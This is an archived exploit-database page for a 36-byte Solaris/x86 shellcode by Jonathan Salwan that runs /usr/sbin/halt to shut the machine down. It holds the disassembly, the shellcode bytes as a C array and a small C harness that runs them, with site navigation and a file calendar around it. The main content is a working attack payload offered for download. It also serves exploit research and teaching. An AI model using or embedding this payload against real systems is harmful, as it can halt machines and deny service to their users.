exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Solaris/x86 Halt Shellcode

Solaris/x86 Halt Shellcode
Posted May 21, 2010
Authored by Jonathan Salwan | Site shell-storm.org

36 bytes small halt shellcode for Solaris/x86.

tags | x86, shellcode
systems | solaris
SHA-256 | d5d6fd10681025e774acb6a47fdef2f21bd6b7ef2f94390eb37de881d98f7e97

Solaris/x86 Halt Shellcode

Change Mirror Download
/*
Title: Solaris/x86 - Halt shellcode - 36 bytes
Auhtor: Jonathan Salwan <submit AT shell-storm.org>
Web: http://www.shell-storm.org
Twitter: http://twitter.com/shell_storm

Date: 2010-05-20
Tested: SunOS opensolaris 5.11 snv_111b i86pc i386 i86pc Solaris

!Database of Shellcodes http://www.shell-storm.org/shellcode/


Description:
------------

The halt and poweroff utilities write any pending information
to the disks and then stop the processor. The poweroff utility
will have the machine remove power, if possible.

The halt and poweroff utilities normally log the system
shutdown to the system log daemon, syslogd(1M), and place a
shutdown record in the login accounting file /var/adm/wtmpx.
These actions are inhibited if the -n or -q options are
present.



Disassembly informations:
-------------------------

section .text
0x8048074: 31 d2 xorl %edx,%edx
0x8048076: 52 pushl %edx
0x8048077: 66 68 6c 74 pushw $0x746c
0x804807b: 68 6e 2f 68 61 pushl $0x61682f6e
0x8048080: 68 2f 73 62 69 pushl $0x6962732f
0x8048085: 68 2f 75 73 72 pushl $0x7273752f
0x804808a: 89 e3 movl %esp,%ebx
0x804808c: 52 pushl %edx
0x804808d: 53 pushl %ebx
0x804808e: 89 e1 movl %esp,%ecx
0x8048090: 52 pushl %edx
0x8048091: 51 pushl %ecx
0x8048092: 53 pushl %ebx
0x8048093: b0 3b movb $0x3b,%al
0x8048095: 52 pushl %edx
0x8048096: cd 91 int $0x91

*/

#include <stdio.h>

char sc[] = "\x31\xd2\x52\x66\x68\x6c\x74\x68\x6e"
"\x2f\x68\x61\x68\x2f\x73\x62\x69\x68"
"\x2f\x75\x73\x72\x89\xe3\x52\x53\x89"
"\xe1\x52\x51\x53\xb0\x3b\x52\xcd\x91";


int main(void)
{
fprintf(stdout,"Lenght: %d\n",strlen(sc));
(*(void(*)()) sc)();

return 0;
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close